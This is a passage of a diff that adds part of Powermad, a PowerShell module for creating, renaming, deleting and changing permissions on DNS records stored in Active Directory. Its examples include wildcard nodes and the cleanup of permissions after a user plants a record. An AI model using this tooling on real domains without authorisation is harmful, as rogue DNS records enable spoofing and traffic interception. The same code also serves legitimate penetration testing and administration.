+        Write-Output "[+] ADIDNS node $Node added"
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+}
+
+function New-SOASerialNumberArray
+{
+    <#
+    .SYNOPSIS
+    This function gets the current SOA serial number for a DNS zone and increments it by the 
+    set amount.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can be used to create a byte array which contains the correct SOA serial number for the
+    next record that will be created with New-DNSRecordArray.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Zone
+    The DNS zone.
+
+    .PARAMETER Increment
+    Default = 1: The number that will be added to the SOA serial number pulled from a DNS server.
+
+    .PARAMETER SOASerialNumber
+    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+    DNS server and querying an SOA record.
+
+    .EXAMPLE
+    Generate a byte array from the currect SOA serial number incremented by one.
+    New-SOASerialNumberArray
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][Int]$Increment = 1,
+        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$SOASerialNumber)
+    {
+
+        if(!$DomainController -or !$Zone)
+        {
+
+            try
+            {
+                $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+            }
+            catch
+            {
+                Write-Output "[-] $($_.Exception.Message)"
+                throw
+            }
+
+        }
+
+        if(!$DomainController)
+        {
+            $DomainController = $current_domain.PdcRoleOwner.Name
+            Write-Verbose "[+] Domain Controller = $DomainController"
+        }
+
+        if(!$Domain)
+        {
+            $Domain = $current_domain.Name
+            Write-Verbose "[+] Domain = $Domain"
+        }
+
+        if(!$Zone)
+        {
+            $Zone = $current_domain.Name
+            Write-Verbose "[+] ADIDNS Zone = $Zone"
+        }
+
+        $Zone = $Zone.ToLower()
+
+        function Convert-DataToUInt16($Field)
+        {
+            [Array]::Reverse($Field)
+            return [System.BitConverter]::ToUInt16($Field,0)
+        }
+
+        function ConvertFrom-PacketOrderedDictionary($OrderedDictionary)
+        {
+
+            ForEach($field in $OrderedDictionary.Values)
+            {
+                $byte_array += $field
+            }
+
+            return $byte_array
+        }
+
+        function New-RandomByteArray
+        {
+            param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255)
+
+            [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)})
+            [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+
+            return $random
+        }
+
+        function New-DNSNameArray
+        {
+            param([String]$Name)
+
+            $character_array = $Name.ToCharArray()
+            [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}
+
+            if($index_array.Count -gt 0)
+            {
+
+                $name_start = 0
+
+                ForEach ($index in $index_array)
+                {
+                    $name_end = $index - $name_start
+                    [Byte[]]$name_array += $name_end
+                    [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
+                    $name_start = $index + 1
+                }
+
+                [Byte[]]$name_array += ($Name.Length - $name_start)
+                [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
+            }
+            else
+            {
+                [Byte[]]$name_array = $Name.Length
+                [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
+            }
+
+            return $name_array
+        }
+
+        function New-PacketDNSSOAQuery
+        {
+            param([String]$Name)
+
+            [Byte[]]$type = 0x00,0x06
+            [Byte[]]$name = (New-DNSNameArray $Name) + 0x00
+            [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0]
+            [Byte[]]$transaction_ID = New-RandomByteArray 2
+            $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary
+            $DNSQuery.Add("Length",$length)
+            $DNSQuery.Add("TransactionID",$transaction_ID)
+            $DNSQuery.Add("Flags",[Byte[]](0x01,0x00))
+            $DNSQuery.Add("Questions",[Byte[]](0x00,0x01))
+            $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00))
+            $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00))
+            $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00))
+            $DNSQuery.Add("Queries_Name",$name)
+            $DNSQuery.Add("Queries_Type",$type)
+            $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01))
+
+            return $DNSQuery
+        }
+
+        $DNS_client = New-Object System.Net.Sockets.TCPClient
+        $DNS_client.Client.ReceiveTimeout = 3000
+
+        try
+        {
+            $DNS_client.Connect($DomainController,"53")
+            $DNS_client_stream = $DNS_client.GetStream()
+            $DNS_client_receive = New-Object System.Byte[] 2048
+            $packet_DNSQuery = New-PacketDNSSOAQuery $Zone
+            [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery
+            $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null
+            $DNS_client_stream.Flush()   
+            $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null
+            $DNS_client.Close()
+            $DNS_client_stream.Close()
+
+            if($DNS_client_receive[9] -eq 0)
+            {
+                Write-Output "[-] $Zone SOA record not found"
+            }
+            else
+            {
+                $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive)
+                $DNS_reply_converted = $DNS_reply_converted -replace "-",""
+                $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001")
+                $SOA_answer_index = $SOA_answer_index / 2
+                $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)]
+                $SOA_length = Convert-DataToUInt16 $SOA_length
+                [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)]
+                $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment
+                [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3]
+            }
+
+        }
+        catch
+        {
+            Write-Output "[-] $DomainController did not respond on TCP port 53"
+        }
+
+    }
+    else
+    {
+        [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3]
+    }
+
+    return ,$SOA_serial_number_array
+}
+
+function New-DNSRecordArray
+{
+    <#
+    .SYNOPSIS
+    This function creates a valid byte array for the dnsRecord attribute.
+
+    Author: Kevin Robertson (@kevin_robertson)
+    License: BSD 3-Clause
+
+    .DESCRIPTION
+    DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid
+    array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute
+
+    .PARAMETER Data
+    For most record types this will be the destination hostname or IP address. For TXT records this can be used
+    for data.
+
+    .PARAMETER DomainController
+    Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain
+    attached system.
+
+    .PARAMETER Port
+    SRV record port.
+
+    .PARAMETER Preference
+    MX record preference.
+
+    .PARAMETER Priority
+    SRV record priority.
+
+    .PARAMETER SOASerialNumber
+    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
+    DNS server and querying an SOA record.
+
+    .PARAMETER Static
+    Switch: Zeros out the timestamp to create a static record instead of a dynamic.
+
+    .PARAMETER TTL
+    Default = 600: DNS record TTL.
+
+    .PARAMETER Type
+    Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
+
+    .PARAMETER Weight
+    SRV record weight.
+
+    .PARAMETER Zone
+    The DNS zone that will be passed to New-SOASerialNumberArray.
+
+    .EXAMPLE
+    Create a dnsRecord array for an A record pointing to 192.168.0.1.
+    New-DNSRecordArray -Type A -Data 192.168.0.1
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    [OutputType([Byte[]])]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$Data,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][Int]$Preference,
+        [parameter(Mandatory=$false)][Int]$Priority,
+        [parameter(Mandatory=$false)][Int]$Weight,
+        [parameter(Mandatory=$false)][Int]$Port,
+        [parameter(Mandatory=$false)][Int]$TTL = 600,
+        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
+        [parameter(Mandatory=$false)][Switch]$Static,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$Data -and $Type -eq 'A')
+    {
+
+        try
+        {
+            $Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
+            Write-Verbose "[+] Data = $Data"
+        }
+        catch
+        {
+            Write-Output "[-] Error finding local IP, specify manually with -Data"
+            throw
+        }
+
+    }
+    elseif(!$Data)
+    {
+        Write-Output "[-] -Data required with record type $Type"
+        throw
+    }
+
+    try
+    {
+        $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+        throw
+    }
+
+    function New-DNSNameArray
+    {
+        param([String]$Name)
+
+        $character_array = $Name.ToCharArray()
+        [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}
+
+        if($index_array.Count -gt 0)
+        {
+
+            $name_start = 0
+
+            ForEach ($index in $index_array)
+            {
+                $name_end = $index - $name_start
+                [Byte[]]$name_array += $name_end
+                [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
+                $name_start = $index + 1
+            }
+
+            [Byte[]]$name_array += ($Name.Length - $name_start)
+            [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
+        }
+        else
+        {
+            [Byte[]]$name_array = $Name.Length
+            [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
+        }
+
+        return $name_array
+    }
+
+    switch ($Type)
+    {
+
+        'A'
+        {
+            [Byte[]]$DNS_type = 0x01,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1]
+            [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
+        }
+
+        'AAAA'
+        {
+            [Byte[]]$DNS_type = 0x1c,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1]
+            [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
+        }
+        
+        'CNAME'
+        {
+            [Byte[]]$DNS_type = 0x05,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
+            [Byte[]]$DNS_data = $Data.Length + 2
+            $DNS_data += ($Data.Split(".")).Count
+            $DNS_data += New-DNSNameArray $Data
+            $DNS_data += 0x00
+        }
+
+        'DNAME'
+        {
+            [Byte[]]$DNS_type = 0x27,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
+            [Byte[]]$DNS_data = $Data.Length + 2
+            $DNS_data += ($Data.Split(".")).Count
+            $DNS_data += New-DNSNameArray $Data
+            $DNS_data += 0x00
+        }
+        
+        'MX'
+        {
+            [Byte[]]$DNS_type = 0x0f,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1]
+            [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0]
+            $DNS_data += $Data.Length + 2
+            $DNS_data += ($Data.Split(".")).Count
+            $DNS_data += New-DNSNameArray $Data
+            $DNS_data += 0x00
+        }
+
+        'NS'
+        {
+            [Byte[]]$DNS_type = 0x02,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
+            [Byte[]]$DNS_data = $Data.Length + 2
+            $DNS_data += ($Data.Split(".")).Count
+            $DNS_data += New-DNSNameArray $Data
+            $DNS_data += 0x00
+        }
+
+        'PTR'
+        {
+            [Byte[]]$DNS_type = 0x0c,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
+            [Byte[]]$DNS_data = $Data.Length + 2
+            $DNS_data += ($Data.Split(".")).Count
+            $DNS_data += New-DNSNameArray $Data
+            $DNS_data += 0x00
+        }
+
+        'SRV'
+        {
+            [Byte[]]$DNS_type = 0x21,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1]
+            [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0]
+            $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0]
+            $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0]
+            $DNS_data += $Data.Length + 2
+            $DNS_data += ($Data.Split(".")).Count
+            $DNS_data += New-DNSNameArray $Data
+            $DNS_data += 0x00
+        }
+
+        'TXT'
+        {
+            [Byte[]]$DNS_type = 0x10,0x00
+            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1]
+            [Byte[]]$DNS_data = $Data.Length
+            $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data)
+        }
+
+    }
+    
+    [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL)
+    [Byte[]]$DNS_record = $DNS_length +
+        $DNS_type +
+        0x05,0xF0,0x00,0x00 +
+        $SOASerialNumberArray[0..3] +
+        $DNS_TTL[3..0] +
+        0x00,0x00,0x00,0x00
+
+    if($Static)
+    {
+        $DNS_record += 0x00,0x00,0x00,0x00
+    }
+    else
+    {
+        $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours
+        $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
+        $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
+        $timestamp = $timestamp[0..3]
+        $DNS_record += $timestamp
+    }
+    
+    $DNS_record += $DNS_data
+
+    return ,$DNS_record
+}
+
+function Rename-ADIDNSNode
+{
+    <#
+    .SYNOPSIS
+    This function renames an ADIDNS node.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old
+    record within DNS.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to rename the ADIDNS node.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The source ADIDNS node name.
+
+    .PARAMETER NodeNew
+    The new ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Renames an ADIDNS node named test to test2.
+    Rename-ADIDNSNode -Node test -NodeNew test2
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][String]$NodeNew = "*",
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+        
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName 
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $directory_entry.Rename("DC=$NodeNew")
+        Write-Output "[+] ADIDNS node $Node renamed to $NodeNew"
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+function Remove-ADIDNSNode
+{
+    <#
+    .SYNOPSIS
+    This function removes an ADIDNS node.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can be used to remove an ADIDNS node. Note that the if the node has not been tombstoned and
+    allowed to repliate to all domain controllers, the record will remain in DNS.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to delete the ADIDNS node.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Removes a wildcard node.
+    Remove-ADIDNSNode -Node *
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$true)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+        
+        if($Partition -eq 'System')
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+        }
+        else
+        {
+            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName 
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $directory_entry.psbase.DeleteTree()
+        Write-Output "[+] ADIDNS node $Node removed"
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+}
+
+function Revoke-ADIDNSPermission
+{
+    <#
+    .SYNOPSIS
+    This function removes an ACE to an ADIDNS node or zone DACL.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function is mainly for removing the ACE associated with the user that created the DNS node
+    after adding an alternative ACE with Set-DNSPermission. Although this function will work on DNS zones,
+    non-administrators will rarely have the ability to modify a DNS zone.
+
+    .PARAMETER Access
+    Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
+    DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
+    ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to modify the DACL.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Principal
+    The ACE user or group.
+
+    .PARAMETER Type
+    Default = Allow: The ACE allow or deny access type.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+    
+    .EXAMPLE
+    Remove the GenericAll ACE associated for the user1 account.
+    Revoke-ADIDNSPermission -Node * -Principal user1 -Access GenericAll
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
+        "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
+        "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
+        [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",    
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
+        [parameter(Mandatory=$false)][String]$Node,
+        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
+        [parameter(Mandatory=$false)][String]$Principal,
+        [parameter(Mandatory=$false)][String]$Zone,
+        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
+        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
+    )
+
+    if($invalid_parameter)
+    {
+        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
+        throw
+    }
+
+    if(!$DomainController -or !$Domain -or !$Zone)
+    {
+
+        try
+        {
+            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+        }
+        catch
+        {
+            Write-Output "[-] $($_.Exception.Message)"
+            throw
+        }
+
+    }
+
+    if(!$DomainController)
+    {
+        $DomainController = $current_domain.PdcRoleOwner.Name
+        Write-Verbose "[+] Domain Controller = $DomainController"
+    }
+
+    if(!$Domain)
+    {
+        $Domain = $current_domain.Name
+        Write-Verbose "[+] Domain = $Domain"
+    }
+
+    if(!$Zone)
+    {
+        $Zone = $current_domain.Name
+        Write-Verbose "[+] ADIDNS Zone = $Zone"
+    }
+
+    if(!$DistinguishedName)
+    {
+
+        if($Node)
+        {
+
+            if($Partition -eq 'System')
+            {
+                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+            }
+            else
+            {
+                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+            }
+
+        }
+        else
+        {
+
+            if($Partition -eq 'System')
+            {
+                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
+            }
+            else
+            {
+                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
+            }
+
+        }
+
+        $DC_array = $Domain.Split(".")
+
+        ForEach($DC in $DC_array)
+        {
+            $distinguished_name += ",DC=$DC"
+        }
+
+        Write-Verbose "[+] Distinguished Name = $distinguished_name"
+    }
+    else 
+    {
+        $distinguished_name = $DistinguishedName 
+    }
+
+    if($Credential)
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
+    }
+    else
+    {
+        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
+    }
+
+    try
+    {
+        $NT_account = New-Object System.Security.Principal.NTAccount($Principal)
+        $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
+        $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
+        $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
+        $access_control_type = [System.Security.AccessControl.AccessControlType]$Type
+        $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
+        $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+        throw
+    }
+
+    try
+    {
+        $directory_entry.psbase.ObjectSecurity.RemoveAccessRule($ACE) > $null
+        $directory_entry.psbase.CommitChanges()
+        Write-Output "[+] ACE removed for $Principal"
+    }
+    catch
+    {
+        Write-Output "[-] $($_.Exception.Message)"
+    }
+
+    if($directory_entry.Path)
+    {
+        $directory_entry.Close()
+    }
+
+    return $output
+}
+
+function Set-ADIDNSNodeAttribute
+{
+    <#
+    .SYNOPSIS
+    This function can append, populate, or overwite values in an ADIDNS node attribute.
+
+    Author: Kevin Robertson (@kevin_robertson)  
+    License: BSD 3-Clause 
+    
+    .DESCRIPTION
+    This function can append, populate, or overwite values in an ADIDNS node attribute.
+
+    .PARAMETER Append
+    Switch: Appends a value rather than overwriting. This can be used to the dnsRecord attribute
+    to create multiple DNS records of the same name for round robin, etc.
+
+    .PARAMETER Attribute
+    The ADIDNS node attribute.
+
+    .PARAMETER Credential
+    PSCredential object that will be used to modify the attribute.
+
+    .PARAMETER DistinguishedName
+    Distinguished name for the ADIDNS zone. Do not include the node name.
+
+    .PARAMETER Domain
+    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
+    parameter.
+
+    .PARAMETER DomainController
+    Domain controller to target. This parameter is mandatory on a non-domain attached system.
+
+    .PARAMETER Node
+    The ADIDNS node name.
+
+    .PARAMETER Partition
+    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
+
+    .PARAMETER Value
+    The attribute value.
+
+    .PARAMETER Zone
+    The ADIDNS zone.
+
+    .EXAMPLE
+    Set the writable description attribute on a node named test.
+    Set-ADIDNSNodeAttribute -Node test -Attribute description -Value "do not delete"
+
+    .LINK
+    https://github.com/Kevin-Robertson/Powermad
+    #>
+
+    [CmdletBinding()]
+    param
+    (
+        [parameter(Mandatory=$false)][String]$DistinguishedName,
+        [parameter(Mandatory=$false)][String]$Domain,
+        [parameter(Mandatory=$false)][String]$DomainController,
